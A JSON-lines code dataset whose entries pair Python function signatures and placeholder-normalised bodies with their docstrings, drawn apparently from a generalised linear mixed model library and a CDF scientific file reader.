{"signature": "def _initialize(self):", "body": "if self._mean is None or self._cov is None:<EOL><INDENT>return<EOL><DEDENT>Q = self._cov[\"<STR_LIT>\"][<NUM_LIT:0>][<NUM_LIT:0>]<EOL>S = self._cov[\"<STR_LIT>\"][<NUM_LIT:1>]<EOL>if S.size > <NUM_LIT:0>:<EOL><INDENT>self.tau[:] = <NUM_LIT:1> / npsum((Q * sqrt(S)) ** <NUM_LIT:2>, axis=<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>self.tau[:] = <NUM_LIT:0.0><EOL><DEDENT>self.eta[:] = self._mean<EOL>self.eta[:] *= self.tau<EOL>", "docstring": "r\"\"\"Initialize the mean and covariance of the posterior.\n\n        Given that :math:`\\tilde{\\mathrm T}` is a matrix of zeros right before\n        the first EP iteration, we have\n\n        .. math::\n\n            \\boldsymbol\\mu = \\mathrm K^{-1} \\mathbf m ~\\text{ and }~\n            \\Sigma = \\mathrm K\n\n        as the initial posterior mean and covariance.", "id": "f13628:c0:m5"}
{"signature": "def L(self):", "body": "from scipy.linalg import cho_factor<EOL>from numpy_sugar.linalg import ddot, sum2diag<EOL>if self._L_cache is not None:<EOL><INDENT>return self._L_cache<EOL><DEDENT>Q = self._cov[\"<STR_LIT>\"][<NUM_LIT:0>][<NUM_LIT:0>]<EOL>S = self._cov[\"<STR_LIT>\"][<NUM_LIT:1>]<EOL>B = dot(Q.T, ddot(self._site.tau, Q, left=True))<EOL>sum2diag(B, <NUM_LIT:1.0> / S, out=B)<EOL>self._L_cache = cho_factor(B, lower=True)[<NUM_LIT:0>]<EOL>return self._L_cache<EOL>", "docstring": "r\"\"\"Cholesky decomposition of :math:`\\mathrm B`.\n\n        .. math::\n\n            \\mathrm B = \\mathrm Q^{\\intercal}\\tilde{\\mathrm{T}}\\mathrm Q\n                + \\mathrm{S}^{-1}", "id": "f13628:c0:m10"}
{"signature": "def rsolve(A, y):", "body": "from numpy_sugar.linalg import rsolve as _rsolve<EOL>try:<EOL><INDENT>beta = _rsolve(A, y)<EOL><DEDENT>except LinAlgError:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>msg += \"<STR_LIT>\"<EOL>warnings.warn(msg, RuntimeWarning)<EOL>beta = zeros(A.shape[<NUM_LIT:0>])<EOL><DEDENT>return beta<EOL>", "docstring": "Robust solve Ax=y.", "id": "f13632:m1"}
{"signature": "def hsolve(A00, A01, A11, y0, y1):", "body": "from numpy_sugar import epsilon<EOL>n = _norm(A00, A01)<EOL>u0 = A00 - n<EOL>u1 = A01<EOL>nu = _norm(u0, u1)<EOL>with errstate(invalid=\"<STR_LIT:ignore>\", divide=\"<STR_LIT:ignore>\"):<EOL><INDENT>v0 = nan_to_num(u0 / nu)<EOL>v1 = nan_to_num(u1 / nu)<EOL><DEDENT>B00 = <NUM_LIT:1> - <NUM_LIT:2> * v0 * v0<EOL>B01 = <NUM_LIT:0> - <NUM_LIT:2> * v0 * v1<EOL>B11 = <NUM_LIT:1> - <NUM_LIT:2> * v1 * v1<EOL>D00 = B00 * A00 + B01 * A01<EOL>D01 = B00 * A01 + B01 * A11<EOL>D11 = B01 * A01 + B11 * A11<EOL>b0 = y0 - <NUM_LIT:2> * y0 * v0 * v0 - <NUM_LIT:2> * y1 * v0 * v1<EOL>b1 = y1 - <NUM_LIT:2> * y0 * v1 * v0 - <NUM_LIT:2> * y1 * v1 * v1<EOL>n = _norm(D00, D01)<EOL>u0 = D00 - n<EOL>u1 = D01<EOL>nu = _norm(u0, u1)<EOL>with errstate(invalid=\"<STR_LIT:ignore>\", divide=\"<STR_LIT:ignore>\"):<EOL><INDENT>v0 = nan_to_num(u0 / nu)<EOL>v1 = nan_to_num(u1 / nu)<EOL><DEDENT>E00 = <NUM_LIT:1> - <NUM_LIT:2> * v0 * v0<EOL>E01 = <NUM_LIT:0> - <NUM_LIT:2> * v0 * v1<EOL>E11 = <NUM_LIT:1> - <NUM_LIT:2> * v1 * v1<EOL>F00 = E00 * D00 + E01 * D01<EOL>F01 = E01 * D11<EOL>F11 = E11 * D11<EOL>F11 = (npy_abs(F11) > epsilon.small) * F11<EOL>with errstate(divide=\"<STR_LIT:ignore>\", invalid=\"<STR_LIT:ignore>\"):<EOL><INDENT>Fi00 = nan_to_num(F00 / F00 / F00)<EOL>Fi11 = nan_to_num(F11 / F11 / F11)<EOL>Fi10 = nan_to_num(-(F01 / F00) * Fi11)<EOL><DEDENT>c0 = Fi00 * b0<EOL>c1 = Fi10 * b0 + Fi11 * b1<EOL>x0 = E00 * c0 + E01 * c1<EOL>x1 = E01 * c0 + E11 * c1<EOL>return array([x0, x1])<EOL>", "docstring": "Solver for the linear equations of two variables and equations only.\n\nIt uses Householder reductions to solve A\ud835\udc31 = \ud835\udc32 in a robust manner.\n\nParameters\n----------\nA : array_like\n    Coefficient matrix.\ny : array_like\n    Ordinate values.\n\nReturns\n-------\nndarray\n    Solution \ud835\udc31.", "id": "f13632:m7"}
{"signature": "def economic_qs_zeros(n):", "body": "Q0 = empty((n, <NUM_LIT:0>))<EOL>Q1 = eye(n)<EOL>S0 = empty(<NUM_LIT:0>)<EOL>return ((Q0, Q1), S0)<EOL>", "docstring": "Eigen decomposition of a zero matrix.", "id": "f13633:m0"}
{"signature": "def multivariate_normal(random, mean, cov):", "body": "from numpy.linalg import cholesky<EOL>L = cholesky(cov)<EOL>return L @ random.randn(L.shape[<NUM_LIT:0>]) + mean<EOL>", "docstring": "Draw random samples from a multivariate normal distribution.\n\nParameters\n----------\nrandom : np.random.RandomState instance\n    Random state.\nmean : array_like\n    Mean of the n-dimensional distribution.\ncov : array_like\n    Covariance matrix of the distribution. It must be symmetric and\n    positive-definite for proper sampling.\n\nReturns\n-------\nout : ndarray\n    The drawn sample.", "id": "f13641:m0"}
{"signature": "def get_fast_scanner(self):", "body": "from numpy_sugar.linalg import ddot, economic_qs, sum2diag<EOL>y = self.eta / self.tau<EOL>if self._QS is None:<EOL><INDENT>K = eye(y.shape[<NUM_LIT:0>]) / self.tau<EOL><DEDENT>else:<EOL><INDENT>Q0 = self._QS[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>S0 = self._QS[<NUM_LIT:1>]<EOL>K = dot(ddot(Q0, self.v0 * S0), Q0.T)<EOL>K = sum2diag(K, <NUM_LIT:1> / self.tau)<EOL><DEDENT>return FastScanner(y, self._X, economic_qs(K), self.v1)<EOL>", "docstring": "r\"\"\"Return :class:`glimix_core.lmm.FastScanner` for the current\n        delta.", "id": "f13643:c0:m12"}
{"signature": "def value(self):", "body": "from numpy_sugar.linalg import ddot, sum2diag<EOL>if self._cache[\"<STR_LIT:value>\"] is not None:<EOL><INDENT>return self._cache[\"<STR_LIT:value>\"]<EOL><DEDENT>scale = exp(self.logscale)<EOL>delta = <NUM_LIT:1> / (<NUM_LIT:1> + exp(-self.logitdelta))<EOL>v0 = scale * (<NUM_LIT:1> - delta)<EOL>v1 = scale * delta<EOL>mu = self.eta / self.tau<EOL>n = len(mu)<EOL>if self._QS is None:<EOL><INDENT>K = zeros((n, n))<EOL><DEDENT>else:<EOL><INDENT>Q0 = self._QS[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>S0 = self._QS[<NUM_LIT:1>]<EOL>K = dot(ddot(Q0, S0), Q0.T)<EOL><DEDENT>A = sum2diag(sum2diag(v0 * K, v1), <NUM_LIT:1> / self.tau)<EOL>m = mu - self.mean()<EOL>v = -n * log(<NUM_LIT:2> * pi)<EOL>v -= slogdet(A)[<NUM_LIT:1>]<EOL>v -= dot(m, solve(A, m))<EOL>self._cache[\"<STR_LIT:value>\"] = v / <NUM_LIT:2><EOL>return self._cache[\"<STR_LIT:value>\"]<EOL>", "docstring": "r\"\"\"Log of the marginal likelihood.\n\n        Formally,\n\n        .. math::\n\n            - \\frac{n}{2}\\log{2\\pi} - \\frac{1}{2} \\log{\\left|\n                v_0 \\mathrm K + v_1 \\mathrm I + \\tilde{\\Sigma} \\right|}\n                    - \\frac{1}{2}\n                    \\left(\\tilde{\\boldsymbol\\mu} -\n                    \\mathrm X\\boldsymbol\\beta\\right)^{\\intercal}\n                    \\left( v_0 \\mathrm K + v_1 \\mathrm I +\n                    \\tilde{\\Sigma} \\right)^{-1}\n                    \\left(\\tilde{\\boldsymbol\\mu} -\n                    \\mathrm X\\boldsymbol\\beta\\right)\n\n        Returns\n        -------\n        float\n            :math:`\\log{p(\\tilde{\\boldsymbol\\mu})}`", "id": "f13643:c0:m16"}
{"signature": "@property<EOL><INDENT>def beta(self):<DEDENT>", "body": "return asarray(self._variables.get(\"<STR_LIT>\").value, float)<EOL>", "docstring": "r\"\"\"Fixed-effect sizes.\n\n        Returns\n        -------\n        :class:`numpy.ndarray`\n            :math:`\\boldsymbol\\beta`.", "id": "f13646:c0:m2"}
{"signature": "def copy(self):", "body": "return copy(self)<EOL>", "docstring": "r\"\"\"Create a copy of this object.", "id": "f13646:c0:m4"}
{"signature": "def covariance(self):", "body": "from numpy_sugar.linalg import ddot, sum2diag<EOL>Q0 = self._QS[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>S0 = self._QS[<NUM_LIT:1>]<EOL>return sum2diag(dot(ddot(Q0, self.v0 * S0), Q0.T), self.v1)<EOL>", "docstring": "r\"\"\"Covariance of the prior.\n\n        Returns\n        -------\n        :class:`numpy.ndarray`\n            :math:`v_0 \\mathrm K + v_1 \\mathrm I`.", "id": "f13646:c0:m5"}
{"signature": "@property<EOL><INDENT>def delta(self):<DEDENT>", "body": "return <NUM_LIT:1> / (<NUM_LIT:1> + exp(-self.logitdelta))<EOL>", "docstring": "r\"\"\"Get or set the ratio of variance between ``K`` and ``I``.\n\n        Returns\n        -------\n        float\n            :math:`\\delta`.", "id": "f13646:c0:m6"}
{"signature": "def fix(self, var_name):", "body": "Function._fix(self, _to_internal_name(var_name))<EOL>", "docstring": "r\"\"\"Prevent a variable to be adjusted.\n\n        Parameters\n        ----------\n        var_name : str\n            Variable name.", "id": "f13646:c0:m8"}
{"signature": "def fit(self, verbose=True, factr=<NUM_LIT>, pgtol=<NUM_LIT>):", "body": "self._verbose = verbose<EOL>self._maximize(verbose=verbose, factr=factr, pgtol=pgtol)<EOL>self._verbose = False<EOL>", "docstring": "r\"\"\"Maximise the marginal likelihood.\n\n        Parameters\n        ----------\n        verbose : bool\n            ``True`` for progress output; ``False`` otherwise.\n            Defaults to ``True``.\n        factr : float, optional\n            The iteration stops when\n            ``(f^k - f^{k+1})/max{|f^k|,|f^{k+1}|,1} <= factr * eps``, where ``eps`` is\n            the machine precision.\n        pgtol : float, optional\n            The iteration will stop when ``max{|proj g_i | i = 1, ..., n} <= pgtol``\n            where ``pg_i`` is the i-th component of the projected gradient.\n\n        Notes\n        -----\n        Please, refer to :func:`scipy.optimize.fmin_l_bfgs_b` for further information\n        about ``factr`` and ``pgtol``.", "id": "f13646:c0:m9"}
{"signature": "def lml(self):", "body": "return self.value()<EOL>", "docstring": "r\"\"\"Log of the marginal likelihood.\n\n        Returns\n        -------\n        float\n            :math:`\\log p(\\mathbf y)`", "id": "f13646:c0:m10"}
{"signature": "def posteriori_mean(self):", "body": "from numpy_sugar.linalg import rsolve<EOL>Sigma = self.posteriori_covariance()<EOL>eta = self._ep._posterior.eta<EOL>return dot(Sigma, eta + rsolve(GLMM.covariance(self), self.mean()))<EOL>", "docstring": "r\"\"\" Mean of the estimated posteriori.\n\n        This is also the maximum a posteriori estimation of the latent variable.", "id": "f13646:c0:m15"}
{"signature": "def posteriori_covariance(self):", "body": "K = GLMM.covariance(self)<EOL>tau = self._ep._posterior.tau<EOL>return pinv(pinv(K) + diag(<NUM_LIT:1> / tau))<EOL>", "docstring": "r\"\"\" Covariance of the estimated posteriori.", "id": "f13646:c0:m16"}
{"signature": "def mean(self):", "body": "return dot(self._X, self.beta)<EOL>", "docstring": "r\"\"\"Mean of the prior.\n\n        Returns\n        -------\n        :class:`numpy.ndarray`\n            :math:`\\mathrm X\\boldsymbol\\beta`.", "id": "f13646:c0:m17"}
{"signature": "@property<EOL><INDENT>def scale(self):<DEDENT>", "body": "return exp(self.logscale)<EOL>", "docstring": "r\"\"\"Get or set the overall variance.\n\n        Returns\n        -------\n        float\n            :math:`s`.", "id": "f13646:c0:m18"}
{"signature": "def unfix(self, var_name):", "body": "Function._unfix(self, _to_internal_name(var_name))<EOL>", "docstring": "r\"\"\"Let a variable be adjusted.\n\n        Parameters\n        ----------\n        var_name : str\n            Variable name.", "id": "f13646:c0:m21"}
{"signature": "@property<EOL><INDENT>def v0(self):<DEDENT>", "body": "return self.scale * (<NUM_LIT:1> - self.delta)<EOL>", "docstring": "r\"\"\"First variance.\n\n        Returns\n        -------\n        float\n            :math:`v_0 = s (1 - \\delta)`", "id": "f13646:c0:m22"}
{"signature": "@property<EOL><INDENT>def v1(self):<DEDENT>", "body": "return self.scale * self.delta<EOL>", "docstring": "r\"\"\"Second variance.\n\n        Returns\n        -------\n        float\n            :math:`v_1 = s \\delta`", "id": "f13646:c0:m23"}
{"signature": "def gradient(self):", "body": "self._update_approx()<EOL>g = self._ep.lml_derivatives(self._X)<EOL>ed = exp(-self.logitdelta)<EOL>es = exp(self.logscale)<EOL>grad = dict()<EOL>grad[\"<STR_LIT>\"] = g[\"<STR_LIT>\"] * (ed / (<NUM_LIT:1> + ed)) / (<NUM_LIT:1> + ed)<EOL>grad[\"<STR_LIT>\"] = g[\"<STR_LIT>\"] * es<EOL>grad[\"<STR_LIT>\"] = g[\"<STR_LIT>\"]<EOL>return grad<EOL>", "docstring": "r\"\"\"Gradient of the log of the marginal likelihood.\n\n        Returns\n        -------\n        dict\n            Map between variables to their gradient values.", "id": "f13648:c0:m10"}
{"signature": "def fit(self, verbose=True, factr=<NUM_LIT>, pgtol=<NUM_LIT>):", "body": "self._maximize(verbose=verbose, factr=factr, pgtol=pgtol)<EOL>", "docstring": "r\"\"\"Maximise the marginal likelihood.\n\n        Parameters\n        ----------\n        verbose : bool\n            ``True`` for progress output; ``False`` otherwise.\n            Defaults to ``True``.\n        factr : float, optional\n            The iteration stops when\n            ``(f^k - f^{k+1})/max{|f^k|,|f^{k+1}|,1} <= factr * eps``, where ``eps`` is\n            the machine precision.\n        pgtol : float, optional\n            The iteration will stop when ``max{|proj g_i | i = 1, ..., n} <= pgtol``\n            where ``pg_i`` is the i-th component of the projected gradient.\n\n        Notes\n        -----\n        Please, refer to :func:`scipy.optimize.fmin_l_bfgs_b` for further information\n        about ``factr`` and ``pgtol``.", "id": "f13649:c0:m1"}
{"signature": "def lml(self):", "body": "return self.value()<EOL>", "docstring": "r\"\"\"Log of the marginal likelihood.\n\n        Returns\n        -------\n        float\n            :math:`\\log p(\\mathbf y)`", "id": "f13649:c0:m2"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "r\"\"\"Get the name of this likelihood.", "id": "f13654:c0:m1"}
{"signature": "@property<EOL><INDENT>def outcome(self):<DEDENT>", "body": "return self._outcome<EOL>", "docstring": "r\"\"\"Get or set an array of outcomes.", "id": "f13654:c0:m2"}
{"signature": "def mean(self, x):", "body": "return x<EOL>", "docstring": "r\"\"\"Outcome mean.", "id": "f13654:c0:m4"}
{"signature": "@property<EOL><INDENT>def sample_size(self):<DEDENT>", "body": "return len(self.outcome)<EOL>", "docstring": "r\"\"\"Get the number of samples.", "id": "f13654:c0:m6"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "r\"\"\"Get the name of this likelihood.", "id": "f13654:c1:m1"}
{"signature": "@property<EOL><INDENT>def outcome(self):<DEDENT>", "body": "return self._outcome<EOL>", "docstring": "r\"\"\"Get or set an array of outcomes.", "id": "f13654:c1:m2"}
{"signature": "def mean(self, x):", "body": "return self._link.inv(x)<EOL>", "docstring": "r\"\"\"Outcome mean.", "id": "f13654:c1:m4"}
{"signature": "@property<EOL><INDENT>def sample_size(self):<DEDENT>", "body": "return len(self.outcome)<EOL>", "docstring": "r\"\"\"Get the number of samples.", "id": "f13654:c1:m6"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "r\"\"\"Get the name of this likelihood.", "id": "f13654:c2:m1"}
{"signature": "@property<EOL><INDENT>def ntrials(self):<DEDENT>", "body": "return self._ntrials<EOL>", "docstring": "r\"\"\"Get the array of number of trials.", "id": "f13654:c2:m2"}
{"signature": "@property<EOL><INDENT>def nsuccesses(self):<DEDENT>", "body": "return self._nsuccesses<EOL>", "docstring": "r\"\"\"Get or set an array of successful trials.", "id": "f13654:c2:m3"}
{"signature": "def mean(self, x):", "body": "return self._link.inv(x)<EOL>", "docstring": "r\"\"\"Mean of the number of successful trials.", "id": "f13654:c2:m5"}
{"signature": "@property<EOL><INDENT>def sample_size(self):<DEDENT>", "body": "return len(self.nsuccesses)<EOL>", "docstring": "r\"\"\"Get the number of samples.", "id": "f13654:c2:m7"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "r\"\"\"Get the name of this likelihood.", "id": "f13654:c3:m1"}
{"signature": "@property<EOL><INDENT>def noccurrences(self):<DEDENT>", "body": "return self._noccurrences<EOL>", "docstring": "r\"\"\"Get or set an array of number of occurrences.", "id": "f13654:c3:m2"}
{"signature": "def mean(self, x):", "body": "return self._link.inv(x)<EOL>", "docstring": "r\"\"\"Mean of the number of occurrences.", "id": "f13654:c3:m4"}
{"signature": "@property<EOL><INDENT>def sample_size(self):<DEDENT>", "body": "return len(self.noccurrences)<EOL>", "docstring": "r\"\"\"Get the number of samples.", "id": "f13654:c3:m6"}
{"signature": "def __getitem__(self, key):", "body": "if not self.data_loaded:<EOL><INDENT>dim_size = self.z_variable_info[key]['<STR_LIT>']<EOL>dim_size = dim_size[<NUM_LIT:0>]<EOL>if dim_size == <NUM_LIT:0>:<EOL><INDENT>dim_size += <NUM_LIT:1><EOL><DEDENT>rec_num = self.z_variable_info[key]['<STR_LIT>']<EOL>status, data = fortran_cdf.get_z_var(self.fname, key, dim_size, rec_num)<EOL>if status == <NUM_LIT:0>:<EOL><INDENT>if dim_size == <NUM_LIT:1>:<EOL><INDENT>data = data[<NUM_LIT:0>, :]<EOL><DEDENT>return data<EOL><DEDENT>else:<EOL><INDENT>raise IOError(fortran_cdf.statusreporter(status))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return chameleon(self.fname, key, self.data[key],<EOL>self.meta[key],<EOL>self.z_variable_info[key])<EOL><DEDENT>", "docstring": "return CDF variable by name", "id": "f13658:c0:m3"}
{"signature": "def inquire(self):", "body": "name = copy.deepcopy(self.fname)<EOL>stats = fortran_cdf.inquire(name)<EOL>status = stats[<NUM_LIT:0>]<EOL>if status == <NUM_LIT:0>:<EOL><INDENT>self._num_dims = stats[<NUM_LIT:1>]<EOL>self._dim_sizes = stats[<NUM_LIT:2>]<EOL>self._encoding = stats[<NUM_LIT:3>]<EOL>self._majority = stats[<NUM_LIT:4>]<EOL>self._max_rec = stats[<NUM_LIT:5>]<EOL>self._num_r_vars = stats[<NUM_LIT:6>]<EOL>self._num_z_vars = stats[<NUM_LIT:7>]<EOL>self._num_attrs = stats[<NUM_LIT:8>]<EOL><DEDENT>else:<EOL><INDENT>raise IOError(fortran_cdf.statusreporter(status))<EOL><DEDENT>", "docstring": "Maps to fortran CDF_Inquire.\n\n        Assigns parameters returned by CDF_Inquire\n        to pysatCDF instance. Not intended\n        for regular direct use by user.", "id": "f13658:c0:m4"}
{"signature": "def _read_all_z_variable_info(self):", "body": "self.z_variable_info = {}<EOL>self.z_variable_names_by_num = {}<EOL>info = fortran_cdf.z_var_all_inquire(self.fname, self._num_z_vars,<EOL>len(self.fname))<EOL>status = info[<NUM_LIT:0>]<EOL>data_types = info[<NUM_LIT:1>]<EOL>num_elems = info[<NUM_LIT:2>]<EOL>rec_varys = info[<NUM_LIT:3>]<EOL>dim_varys = info[<NUM_LIT:4>]<EOL>num_dims = info[<NUM_LIT:5>]<EOL>dim_sizes = info[<NUM_LIT:6>]<EOL>rec_nums = info[<NUM_LIT:7>]<EOL>var_nums = info[<NUM_LIT:8>]<EOL>var_names = info[<NUM_LIT:9>]<EOL>if status == <NUM_LIT:0>:<EOL><INDENT>for i in np.arange(len(data_types)):<EOL><INDENT>out = {}<EOL>out['<STR_LIT>'] = data_types[i]<EOL>out['<STR_LIT>'] = num_elems[i]<EOL>out['<STR_LIT>'] = rec_varys[i]<EOL>out['<STR_LIT>'] = dim_varys[i]<EOL>out['<STR_LIT>'] = num_dims[i]<EOL>out['<STR_LIT>'] = dim_sizes[i, :<NUM_LIT:1>]<EOL>if out['<STR_LIT>'][<NUM_LIT:0>] == <NUM_LIT:0>:<EOL><INDENT>out['<STR_LIT>'][<NUM_LIT:0>] += <NUM_LIT:1><EOL><DEDENT>out['<STR_LIT>'] = rec_nums[i]<EOL>out['<STR_LIT>'] = var_nums[i]<EOL>var_name = '<STR_LIT>'.join(var_names[i].astype('<STR_LIT>'))<EOL>out['<STR_LIT>'] = var_name.rstrip()<EOL>self.z_variable_info[out['<STR_LIT>']] = out<EOL>self.z_variable_names_by_num[out['<STR_LIT>']] = var_name<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise IOError(fortran_cdf.statusreporter(status))<EOL><DEDENT>", "docstring": "Gets all CDF z-variable information, not data though.\n\n        Maps to calls using var_inquire. Gets information on\n        data type, number of elements, number of dimensions, etc.", "id": "f13658:c0:m5"}
{"signature": "def load_all_variables(self):", "body": "self.data = {}<EOL>file_var_names = self.z_variable_info.keys()<EOL>dim_sizes = []<EOL>rec_nums = []<EOL>data_types = []<EOL>names = []<EOL>for i, name in enumerate(file_var_names):<EOL><INDENT>dim_sizes.extend(self.z_variable_info[name]['<STR_LIT>'])<EOL>rec_nums.append(self.z_variable_info[name]['<STR_LIT>'])<EOL>data_types.append(self.z_variable_info[name]['<STR_LIT>'])<EOL>names.append(name.ljust(<NUM_LIT>))<EOL><DEDENT>dim_sizes = np.array(dim_sizes)<EOL>rec_nums = np.array(rec_nums)<EOL>data_types = np.array(data_types)<EOL>self._call_multi_fortran_z(names, data_types, rec_nums, dim_sizes,<EOL>self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_real4)<EOL>self._call_multi_fortran_z(names, data_types, rec_nums, dim_sizes,<EOL>self.cdf_data_types['<STR_LIT:float>'],<EOL>fortran_cdf.get_multi_z_real4)<EOL>self._call_multi_fortran_z(names, data_types, rec_nums, dim_sizes,<EOL>self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_real8)<EOL>self._call_multi_fortran_z(names, data_types, rec_nums, dim_sizes,<EOL>self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_real8)<EOL>self._call_multi_fortran_z(names, data_types, rec_nums, dim_sizes,<EOL>self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_int4)<EOL>self._call_multi_fortran_z(names, data_types, rec_nums, dim_sizes,<EOL>self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_int4,<EOL>data_offset=<NUM_LIT:2> ** <NUM_LIT:32>)<EOL>self._call_multi_fortran_z(names, data_types, rec_nums, dim_sizes,<EOL>self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_int2)<EOL>self._call_multi_fortran_z(names, data_types, rec_nums, dim_sizes,<EOL>self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_int2,<EOL>data_offset=<NUM_LIT:2> ** <NUM_LIT:16>)<EOL>self._call_multi_fortran_z(names, data_types, rec_nums, dim_sizes,<EOL>self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_int1)<EOL>self._call_multi_fortran_z(names, data_types, rec_nums, dim_sizes,<EOL>self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_int1,<EOL>data_offset=<NUM_LIT:2> ** <NUM_LIT:8>)<EOL>self._call_multi_fortran_z(names, data_types, rec_nums, dim_sizes,<EOL>self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_int1)<EOL>self._call_multi_fortran_z(names, data_types, rec_nums, dim_sizes,<EOL>self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_real8,<EOL>epoch=True)<EOL>self._call_multi_fortran_z(names, data_types, rec_nums, <NUM_LIT:2> * dim_sizes,<EOL>self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_epoch16,<EOL>epoch16=True)<EOL>self._call_multi_fortran_z(names, data_types, rec_nums, dim_sizes,<EOL>self.cdf_data_types['<STR_LIT>'],<EOL>fortran_cdf.get_multi_z_tt2000,<EOL>epoch=True)<EOL>self.data_loaded = True<EOL>", "docstring": "Loads all variables from CDF.\n\n        Note this routine is called automatically\n        upon instantiation.", "id": "f13658:c0:m6"}
{"signature": "def _call_multi_fortran_z(self, names, data_types, rec_nums,<EOL>dim_sizes, input_type_code, func,<EOL>epoch=False, data_offset=None, epoch16=False):", "body": "<EOL>idx, = np.where(data_types == input_type_code)<EOL>if len(idx) > <NUM_LIT:0>:<EOL><INDENT>max_rec = rec_nums[idx].max()<EOL>sub_names = np.array(names)[idx]<EOL>sub_sizes = dim_sizes[idx]<EOL>status, data = func(self.fname, sub_names.tolist(),<EOL>sub_sizes, sub_sizes.sum(), max_rec, len(sub_names))<EOL>if status == <NUM_LIT:0>:<EOL><INDENT>if data_offset is not None:<EOL><INDENT>data = data.astype(int)<EOL>idx, idy, = np.where(data < <NUM_LIT:0>)<EOL>data[idx, idy] += data_offset<EOL><DEDENT>if epoch:<EOL><INDENT>data -= <NUM_LIT><EOL>data = data.astype('<STR_LIT>')<EOL><DEDENT>if epoch16:<EOL><INDENT>data[<NUM_LIT:0>::<NUM_LIT:2>, :] -= <NUM_LIT><EOL>data = data[<NUM_LIT:0>::<NUM_LIT:2>, :] * <NUM_LIT> + data[<NUM_LIT:1>::<NUM_LIT:2>, :] / <NUM_LIT><EOL>data = data.astype('<STR_LIT>')<EOL>sub_sizes /= <NUM_LIT:2><EOL><DEDENT>self._process_return_multi_z(data, sub_names, sub_sizes)<EOL><DEDENT>else:<EOL><INDENT>raise IOError(fortran_cdf.statusreporter(status))<EOL><DEDENT><DEDENT>", "docstring": "Calls fortran functions to load CDF variable data\n\n        Parameters\n        ----------\n        names : list_like\n            list of variables names\n        data_types : list_like\n            list of all loaded data type codes as used by CDF\n        rec_nums : list_like\n            list of record numbers in CDF file. Provided by variable_info\n        dim_sizes :\n            list of dimensions as provided by variable_info.\n        input_type_code : int\n            Specific type code to load\n        func : function\n            Fortran function via python interface that will be used for actual loading.\n        epoch : bool\n            Flag indicating type is epoch. Translates things to datetime standard.\n        data_offset :\n            Offset value to be applied to data. Required for unsigned integers in CDF.\n        epoch16 : bool\n            Flag indicating type is epoch16. Translates things to datetime standard.", "id": "f13658:c0:m7"}
{"signature": "def _process_return_multi_z(self, data, names, dim_sizes):", "body": "<EOL>d1 = <NUM_LIT:0><EOL>d2 = <NUM_LIT:0><EOL>for name, dim_size in zip(names, dim_sizes):<EOL><INDENT>d2 = d1 + dim_size<EOL>if dim_size == <NUM_LIT:1>:<EOL><INDENT>self.data[name.rstrip()] = data[d1, :]<EOL><DEDENT>else:<EOL><INDENT>self.data[name.rstrip()] = data[d1:d2, :]<EOL><DEDENT>d1 += dim_size<EOL><DEDENT>", "docstring": "process and attach data from fortran_cdf.get_multi_*", "id": "f13658:c0:m8"}
{"signature": "def _read_all_attribute_info(self):", "body": "num = copy.deepcopy(self._num_attrs)<EOL>fname = copy.deepcopy(self.fname)<EOL>out = fortran_cdf.inquire_all_attr(fname, num, len(fname))<EOL>status = out[<NUM_LIT:0>]<EOL>names = out[<NUM_LIT:1>].astype('<STR_LIT>')<EOL>scopes = out[<NUM_LIT:2>]<EOL>max_gentries = out[<NUM_LIT:3>]<EOL>max_rentries = out[<NUM_LIT:4>]<EOL>max_zentries = out[<NUM_LIT:5>]<EOL>attr_nums = out[<NUM_LIT:6>]<EOL>global_attrs_info = {}<EOL>var_attrs_info = {}<EOL>if status == <NUM_LIT:0>:<EOL><INDENT>for name, scope, gentry, rentry, zentry, num in zip(names, scopes, max_gentries,<EOL>max_rentries, max_zentries,<EOL>attr_nums):<EOL><INDENT>name = '<STR_LIT>'.join(name)<EOL>name = name.rstrip()<EOL>nug = {}<EOL>nug['<STR_LIT>'] = scope<EOL>nug['<STR_LIT>'] = gentry<EOL>nug['<STR_LIT>'] = rentry<EOL>nug['<STR_LIT>'] = zentry<EOL>nug['<STR_LIT>'] = num<EOL>flag = (gentry == <NUM_LIT:0>) & (rentry == <NUM_LIT:0>) & (zentry == <NUM_LIT:0>)<EOL>if not flag:<EOL><INDENT>if scope == <NUM_LIT:1>:<EOL><INDENT>global_attrs_info[name] = nug<EOL><DEDENT>elif scope == <NUM_LIT:2>:<EOL><INDENT>var_attrs_info[name] = nug<EOL><DEDENT><DEDENT><DEDENT>self.global_attrs_info = global_attrs_info<EOL>self.var_attrs_info = var_attrs_info<EOL><DEDENT>else:<EOL><INDENT>raise IOError(fortran_cdf.statusreporter(status))<EOL><DEDENT>", "docstring": "Read all attribute properties, g, r, and z attributes", "id": "f13658:c0:m9"}
